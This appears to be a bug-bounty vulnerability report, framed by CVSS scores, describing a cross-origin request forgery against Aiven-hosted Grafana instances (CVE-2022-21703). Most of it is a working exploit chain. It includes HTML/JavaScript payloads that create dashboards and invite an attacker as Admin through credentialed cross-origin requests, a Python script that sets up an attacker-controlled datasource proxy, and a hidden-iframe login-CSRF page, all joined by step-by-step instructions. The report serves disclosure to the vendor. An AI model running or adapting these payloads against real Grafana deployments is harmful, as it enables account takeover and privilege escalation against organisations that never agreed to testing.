8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.005 Low
EPSS
Percentile
73.6%
To triage, please note that this is still a 0-day that was alerted to Grafana already, in order to make sure the client is safe I report this issue now, please make sure to not spread it further or leak it, as the best interest is to let you be aware and safer from any potential attacks in the meantime.
@jub0bs and I have found a cross-origin request forgery attack issue in the Grafana instances hosted on the Aiven platforms (CVE-2022-21703, which is still a 0-Day CVE on Grafana) .
With the cross-origin request forgery attack it’s possible for an attacker to successfully mount cross-origin request forgery attack against authenticated victims of other grafana instances hosted on *.aivencloud.com
.
So here is the attack story an example user John Doe runs a grafana instance at https://johndoe.aivencloud.com
.
An attacker will deploy his own grafana instance at https://attacker.aivencloud.com
, this attacker’s instance would host a malicous html file with a javascript payload, that will trigger the cross-origin request forgery attack against John Doe while he is logged into https://johndoe.aivencloud.com
.
Now thanks to this attack all POST / GET requests would work thanks to the cross-origin-request-forgery attack, the root cause of this is because grafana sets their auth cookie grafana_session
to SameSite=Lax; Secure
https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/
The attack chain is as follows;
{F1588743}
{F1588761}
{F1588762}
{F1588760}
allow_embedding
cookie_samesite --> none
{F1588759}
Then click the Save advanced configuration
button.
{F1588758}
grafana_session
cookie .{F1588757}
<html>
<head></head>
<body>
<h1>cross-origin-request-forgery POC</h1>
<div></div>
<script>
var victim_instance = "<vic_instance>";
function log_status(msg) {
//status logger.
let com = document.getElementById('statusdiv')
com.innerHTML += "<h2>" + msg + "</h2>"
}
function dashboard_poc() {
log_status("[*] Creating Dashboard")
var url = `${victim_instance}/api/dashboards/db`
fetch(url,
{
method:"POST",
mode:"no-cors",
credentials:"include",
headers: {
"Content-Type": "text/plain; application/json"
},
body: JSON.stringify(
{
"dashboard": {
"title": "grafana_csrf_0_day"
}
}
)
})
}
function invite_poc() {
log_status("[*] Creating User")
var url = `${victim_instance}/api/org/invites`
fetch(url,
{
method:"POST",
mode:"no-cors",
credentials:"include",
headers: {
"Content-Type": "text/plain; application/json"
},
body: JSON.stringify(
{
"name": "attacker",
"email": "",
"role": "Admin",
"sendEmail": false,
"loginOrEmail": "[email protected]"
}
)
})
}
function finish_up() {
log_status("[+] Inspect the list of dashboards on your Grafana instance at" + victim_instance +"/dashboards; you should see a new dashboard named `grafana_csrf_0_day`.")
log_status("[+] Inspect the the list of pending user invitations on your Grafana instance at" + victim_instance +"/org/users; you should see one for `attacker`.")
}
log_status("[*] Starting Attack")
dashboard_poc()
invite_poc()
setTimeout(finish_up, 20000);
</script>
</body>
</html>
Replace the above string <vic_instance>
to the victims grafana instance url, e.g https://grafana-xmen.aivencloud.com
.
Now save the edited payload on yout http(s) server as c-o-payload.html
.
{F1588756}
{F1588755}
{F1588754}
create_ssrf_endpont.py
.import requests
import random
import string
import sys
if len(sys.argv) != 4 :
print 'Usage: %s "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie"' % sys.argv[0]
sys.exit()
def rand_genarator(length):
return ''.join(random.choice(string.ascii_letters + string.digits) for i in range(length))
def create_ssrf(url_, payload_url, cookie):
url = url_.strip("/") + "/api/datasources"
cookies = {"redirect_to": "%2F", "grafana_session": cookie}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json"
}
json = {
"access": "proxy",
"isDefault": False,
"name": "Prometheus - " + rand_genarator(7),
"type": "prometheus",
"url": payload_url
}
res = requests.post(url, headers=headers, cookies=cookies, json=json)
print('[+] SSRF Endpoint {}/api/datasources/proxy/{}'.format(url_.strip("/"), res.json()['id']))
create_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])
Run the command, pip2 install requests
.
Now run the script by running the command, python2 create_ssrf_endpont.py "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie"
.
Note the following;
https://attacker-grafana-instance --> this is the attackers grafana instance.
http://cross-origin-payload-url --> this is the url of the payload you saved step 7.
attacker-grafana-instance-cookie -> this is the grafana_session cookie your copied in step 6.
{F1588752}
Now note down the SSRF url, the script outputs.
<html>
<head></head>
<body>
<h1>CSRF Login POC, you will be redirected in 20 seconds</h1>
<div></div>
<script>
var attacker_instance = "<att_instance>";
var attacker_instance_username = "avnadmin";
var attacker_instance_password = "<att_password>";
var attacker_csrf_proxy = "<att_ssrf_url>";
var csrf_html = `
<form enctype="text/plain" action="${attacker_instance}/login" method=POST>
<input type="text" name='{"user":"${attacker_instance_username}","password":"${attacker_instance_password}","dummy":"' value='"}'>
<input type="submit">
</form>
<svg onload=document.forms[0].submit()>
`;
function log_status(msg) {
//status logger.
let com = document.getElementById('statusdiv')
com.innerHTML += "<h2>" + msg + "</h2>"
}
function create_iframe() {
log_status("[*] Logging victim into our grafana instance");
var iframe = document.createElement("iframe");
iframe.hidden = true;
iframe.srcdoc = csrf_html;
document.body.appendChild(iframe);
log_status("[+] Redirecting to our SSRF Payload");
}
function xmen() {
//redirects to our datasource, where can serve the grafana 0-day.
window.location = attacker_csrf_proxy;
}
create_iframe()
setTimeout(xmen, 20000);
</script>
</body>
</html>
Replace the below listed strings;
<att_instance> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
<att_password> to the password of the attackers grafana instance url, you should see this in the aiven console .
<att_ssrf_url> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
Now save the edited payload on yout http(s) server as c-s-login.html
.
{F1588753}
{F1588751}
{F1588749}
{F1588750}
http://your_server/c-s-login.html
Note replace your_server with the server ip / hostname, where you saved the payload in step 9.
{F1588748}
{F1588747}
{F1588746}
{F1588745}
{F1588744}
{F1588780}
By luring the authenticated Grafana Admin to the malicious page, the attacker
can gain access to your Grafana instance as an Organization Admin.
This privilege escalation would, among other things,
allow him to view/add/edit/remove dashboards and users.
As of now there is no official remediation, Grafana are aware of the issue and will ship a fix soon.
It’s highly possible that there will be intrusion attempts against your Grafana instance, for that make sure:
With all said , I have to say this to you .
{F1588766}
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.005 Low
EPSS
Percentile
73.6%